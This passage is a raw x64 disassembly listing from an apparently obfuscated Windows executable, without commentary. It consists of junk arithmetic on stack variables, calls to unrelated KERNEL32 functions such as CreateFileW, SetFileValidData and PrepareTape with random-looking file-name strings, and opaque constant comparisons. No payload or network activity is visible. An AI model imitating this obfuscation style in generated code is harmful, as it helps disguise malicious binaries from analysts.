mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov dword [rsp + 0x92d4], eax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov word [rsp + 0x2bec], ax
jmp 0x14001cc82
mov rcx, qword [rsp + 0x12808]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x92d8], eax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rax]
call fcn.140231c00
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov byte [rsp + 0x92dc], al
cmp byte [rsp + 0x92dc], 0x50
je 0x14001cca3
jmp 0x140230ec1
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x12968], rax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x92b8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILClone
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.r5OIeNAEzyXNMOXk6miEi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12970], rax
movsx eax, byte [rsp + 0x59c]
movsx ecx, byte [rsp + 0x598]
add eax, ecx
mov byte [rsp + 0x392], al
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x12978], rax
movzx eax, word [0x14027d380]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2be8], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov byte [rsp + 0x59e], al
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12930]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10f18], rax
mov eax, dword [rsp + 0x9220]
movzx ecx, al
mov eax, dword [rsp + 0x91dc]
shl eax, cl
mov dword [0x14027d388], eax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x128c8], rax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x92b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov eax, dword [rsp + 0x92a4]
mov ecx, dword [rsp + 0x9220]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12958]
mov dword [rcx], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
sub eax, ecx
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be4]
sub eax, ecx
mov rcx, qword [rsp + 0x12928]
mov word [rcx], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x599]
add eax, ecx
mov byte [rsp + 0x597], al
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x113d8], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x113d8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14027d370], rax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bdc]
sub eax, ecx
mov word [rsp + 0x2bc4], ax
mov eax, dword [rsp + 0x7c70]
movzx ecx, al
mov eax, dword [rsp + 0x92b8]
shl eax, cl
mov dword [rsp + 0x92d4], eax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x91dc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8d74], eax
movsx eax, byte [rsp + 0x59c]
movsx ecx, byte [rsp + 0x598]
or eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [0x1402c4180]
movzx ecx, al
mov rax, qword [rsp + 0x12890]
shr rax, cl
mov qword [rsp + 0x12810], rax
mov edx, 0xe8b0e
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x923c], eax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
sub eax, ecx
mov word [rsp + 0x2bd8], ax
movzx eax, byte [rsp + 0x59a]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1268]
add eax, ecx
mov word [rsp + 0x2010], ax
movzx eax, byte [rsp + 0x59a]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14027d039], al
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9238], eax
movsx eax, word [0x14027d37c]
movsx ecx, word [rsp + 0x2bdc]
add eax, ecx
mov word [rsp + 0x2bc4], ax
mov eax, dword [rsp + 0x92d0]
add eax, 0x72
mov dword [rsp + 0x92d0], eax
mov r9d, 1
lea r8, [rsp + 0x12818]
mov rdx, qword [rsp + 0x12848]
mov rcx, qword [rsp + 0x12970]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x923c], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x9220]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x928c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92b8], eax
movzx eax, byte [rsp + 0x59a]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x59e], al
movsx eax, word [rsp + 0x1d4c]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ac0]
shl eax, cl
mov word [rsp + 0x2bec], ax
cmp dword [rsp + 0x92d0], 0x6fcc
jbe 0x14001cdb8
mov rax, qword [rsp + 0x127d0]
mov rcx, qword [rsp + 0x11420]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x128c8], rax
movzx eax, word [0x14027d380]
movzx ecx, word [rsp + 0x1268]
xor eax, ecx
mov word [0x14027d38c], ax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov qword [rsp + 0x12980], rax
mov rax, qword [rsp + 0x128c8]
movzx ecx, al
mov rax, qword [rsp + 0x10f18]
sar rax, cl
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
cdq
mov ecx, 0xcd6
idiv ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0x12810]
mov qword [rsp + 0x12988], rax
cmp qword [rsp + 0x12988], 0
je 0x14001d1b4
movabs rax, 0x7dbc0b6daecd8a
cmp qword [rsp + 0x12988], rax
je 0x140230cce
jmp 0x140230db0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.YLZU6naIDFcpoev_fawspqqmcezZxQKEgnT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12990], rax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
or eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov byte [0x1402c4160], al
movzx eax, byte [rsp + 0x597]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [0x14027d37c]
and eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x11420]
mov rcx, qword [rsp + 0x113d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12980], rax
mov eax, dword [rsp + 0x9200]
mov ecx, dword [rsp + 0x928c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x92b8], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12810], rax
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd4], ax
mov eax, dword [rsp + 0x92c4]
sub eax, 0x5a
mov dword [rsp + 0x92c4], eax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x92a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9220], eax
mov edx, 0x7bc974
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9244], eax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2800], ax
movzx eax, word [rsp + 0x2ac0]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14027d380], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [rsp + 0x59e], al
mov rax, qword [rsp + 0x113d8]
movzx ecx, al
mov rax, qword [rsp + 0x12930]
shl rax, cl
mov qword [rsp + 0x12980], rax
mov rax, qword [rsp + 0x12980]
mov rcx, qword [rsp + 0x128c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12978]
mov word [rcx], ax
mov eax, dword [0x14027d388]
movzx ecx, al
mov eax, dword [rsp + 0x9220]
shr eax, cl
mov dword [rsp + 0x8d74], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12968], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x928c], eax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1268]
add eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [0x14027d039]
add eax, ecx
mov byte [0x1402c4160], al
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12930]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
movsx eax, byte [0x14027d038]
movsx ecx, byte [rsp + 0x59c]
and eax, ecx
mov byte [rsp + 0x36d], al
lea rdx, [rsp + 0x9248]
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x9264], eax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb5]
add eax, ecx
mov byte [rsp + 0x596], al
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xefa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12810], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x8d74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91fc], eax
lea rcx, [rsp + 0x29890]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x7c70]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x928c], eax
movzx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2be4], ax
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bcc], ax
movzx eax, byte [0x1402c4160]
movzx ecx, byte [rsp + 0x59a]
xor eax, ecx
mov byte [0x14027d039], al
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2be0], ax
movzx eax, word [rsp + 0x2be4]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2be8], ax
mov rax, qword [rsp + 0x12980]
mov rcx, qword [rsp + 0x127d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10f18], rax
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bcc], ax
movzx ecx, word [rsp + 0x2bcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x9230]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x127d8]
mov rcx, qword [rsp + 0x12968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x92d4], eax
movzx eax, word [rsp + 0x2568]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d37c], ax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x598]
add eax, ecx
mov byte [rsp + 0x59c], al
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x595]
add eax, ecx
mov byte [rsp + 0x59b], al
lea rdx, [rsp + 0x2d7d8]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x92e0], eax
cmp dword [rsp + 0x92c4], 0x6eaf
ja 0x14001d21e
mov r9d, 1
lea r8, [rsp + 0x12938]
mov rdx, qword [rsp + 0x12818]
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x9250], eax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x12980]
shl rax, cl
mov qword [rsp + 0x113d8], rax
lea rax, [0x14027d38c]
mov qword [rsp + 0x12998], rax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x129a0], rax
mov eax, dword [rsp + 0x92b8]
mov dword [rsp + 0x92e4], eax
cmp dword [rsp + 0x92e4], 0
je 0x14001d7cc
jmp 0x14001d885
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x9220]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
mov eax, dword [rsp + 0x928c]
mov dword [rsp + 0x92e8], eax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x59e]
or eax, ecx
mov byte [rsp + 0x595], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
sar eax, cl
mov word [0x14027d390], ax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x11420], rax
movzx eax, word [rsp + 0x2568]
movzx ecx, word [rsp + 0x2ac0]
imul eax, ecx
mov word [rsp + 0x2190], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59e]
sub eax, ecx
mov byte [rsp + 0x59a], al
jmp 0x14001d999
lea r9, [rsp + 0x91dc]
mov r8d, 0x22
mov edx, 0x2a
mov rcx, qword [rsp + 0x127e0]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov dword [rsp + 0x92ec], eax
movsx eax, word [rsp + 0x2bc8]
movsx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x91fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x129a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9200], eax
movsx eax, byte [rsp + 0x392]
movsx ecx, byte [rsp + 0x598]
add eax, ecx
mov byte [rsp + 0x59c], al
movsx eax, word [rsp + 0x2bc4]
movsx ecx, word [rsp + 0x2bdc]
and eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12968]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1402c4170]
mov qword [rcx], rax
movzx r9d, word [rsp + 0x2bc0]
mov rax, qword [rsp + 0x127f8]
mov r8, qword [rax]
movzx edx, word [0x14027d390]
mov rax, qword [rsp + 0x12978]
movzx ecx, word [rax]
call fcn.140231910
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9264], eax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov qword [rsp + 0x129a8], rax
lea rax, [rsp + 0x91fc]
mov qword [rsp + 0x129b0], rax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9200]
sar eax, cl
mov dword [rsp + 0x92d4], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x127c0], rax
movzx eax, byte [rsp + 0x599]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x597], al
mov rax, qword [0x1402c4178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc4], ax
mov eax, dword [rsp + 0x9260]
sub eax, 0x77
mov dword [rsp + 0x9260], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, word [rsp + 0x2568]
movzx ecx, word [rsp + 0x1268]
and eax, ecx
mov word [0x14027d38c], ax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x113d8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd144
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9264], eax
mov rax, qword [rsp + 0x11420]
mov rcx, qword [rsp + 0x129a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
lea rdx, [rsp + 0x12838]
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x92f0], eax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0xb5]
add eax, ecx
mov byte [rsp + 0x59d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12968], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x928c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
movsx eax, byte [0x1402c418c]
movsx ecx, byte [rsp + 0x59c]
add eax, ecx
mov byte [rsp + 0x598], al
mov rax, qword [rsp + 0x12958]
mov rcx, qword [rsp + 0x129b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91dc], eax
movsx eax, word [rsp + 0x2bdc]
movsx ecx, word [rsp + 0x2800]
and eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2bd8]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14027d380], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [0x14027d38c]
sar eax, cl
mov rcx, qword [rsp + 0x12998]
mov word [rcx], ax
movsx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2bc8], ax
movzx eax, byte [rsp + 0x597]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x59e], al
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92b8], eax
mov eax, dword [0x14027d378]
mov dword [rsp + 0x92a4], eax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59d]
and eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2190]
sub eax, ecx
mov word [rsp + 0x2bd8], ax
movsx eax, word [0x14027d390]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x12930]
mov rcx, qword [rsp + 0x11420]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x128c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x113d8], rax
cmp dword [rsp + 0x9260], 0x420
jae 0x14001da42
mov rax, qword [rsp + 0x12930]
mov qword [rsp + 0x129b8], rax
cmp qword [rsp + 0x129b8], 0
je 0x14001dd6e
movabs rax, 0x7b32a68fd71975
cmp qword [rsp + 0x129b8], rax
je 0x14001ddd7
jmp 0x14001de5f
lea rax, [rsp + 0x129a8]
mov qword [rsp + 0x129c0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe4f9
mov rcx, qword [rsp + 0x12970]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9264], eax
lea rcx, [rsp + 0x29890]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov word [rsp + 0x2bf4], ax
lea rax, [rsp + 0x36d]
mov qword [rsp + 0x129c8], rax
jmp 0x14001de5f
lea rax, [rsp + 0x12868]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x129d0]
mov r8d, 0xf7
lea rdx, [rsp + 0x129a0]
mov rcx, qword [rsp + 0x129d8]
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [rsp + 0x92f4], eax
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [0x14027d388]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12968], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x92d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x928c], eax
mov rax, qword [rsp + 0x129c8]
movzx eax, byte [rax]
mov byte [rsp + 0x92f8], al
cmp byte [rsp + 0x92f8], 0
je 0x14001de8e
cmp byte [rsp + 0x92f8], 0x20
je 0x14001df7a
jmp 0x14001df8e
mov r9d, 2
lea r8, [rsp + 0x12848]
mov rdx, qword [rsp + 0x129e0]
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x92f0], eax
movzx eax, byte [rsp + 0xb5]
movzx ecx, byte [rsp + 0x599]
sub eax, ecx
mov byte [0x14027d03a], al
movsx eax, word [rsp + 0x2be0]
movsx ecx, word [rsp + 0x2bc4]
shl eax, cl
mov word [rsp + 0x25b8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1400], ax
movzx eax, byte [rsp + 0x596]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0xb5], al
lea rax, [rsp + 0x2be4]
mov qword [rsp + 0x129e8], rax
lea rdx, [rsp + 0x9248]
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x9240], eax
mov rax, qword [rsp + 0x127d8]
movzx ecx, al
mov rax, qword [rsp + 0x12968]
shr rax, cl
mov qword [rsp + 0x12890], rax
jmp 0x14001df8e
movzx edx, byte [0x14027d039]
movzx ecx, word [rsp + 0x2be8]
call fcn.140231a10
lea rax, [rsp + 0x9220]
mov qword [rsp + 0x129f0], rax
mov eax, dword [rsp + 0x92b8]
mov dword [rsp + 0x92fc], eax
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12810]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov rdx, qword [rsp + 0x12890]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jbe 0x14001e0e6
mov edx, dword [rsp + 0x9300]
mov rcx, qword [rsp + 0x129d8]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov dword [rsp + 0x9304], eax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12980], rax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x595]
add eax, ecx
mov byte [0x14027d039], al
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [0x14027d38c]
add eax, ecx
mov rcx, qword [rsp + 0x12998]
mov word [rcx], ax
mov rcx, qword [rsp + 0x127c8]
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [rsp + 0x8d74], eax
movsx eax, byte [rsp + 0x598]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x59c], al
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12930]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x113d8], rax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [0x1402c4180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x928c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
cmp dword [rsp + 0x9298], 0x8306
je 0x14001e4c5
mov rax, qword [rsp + 0x129b0]
mov ecx, dword [rsp + 0x8d74]
mov eax, dword [rax]
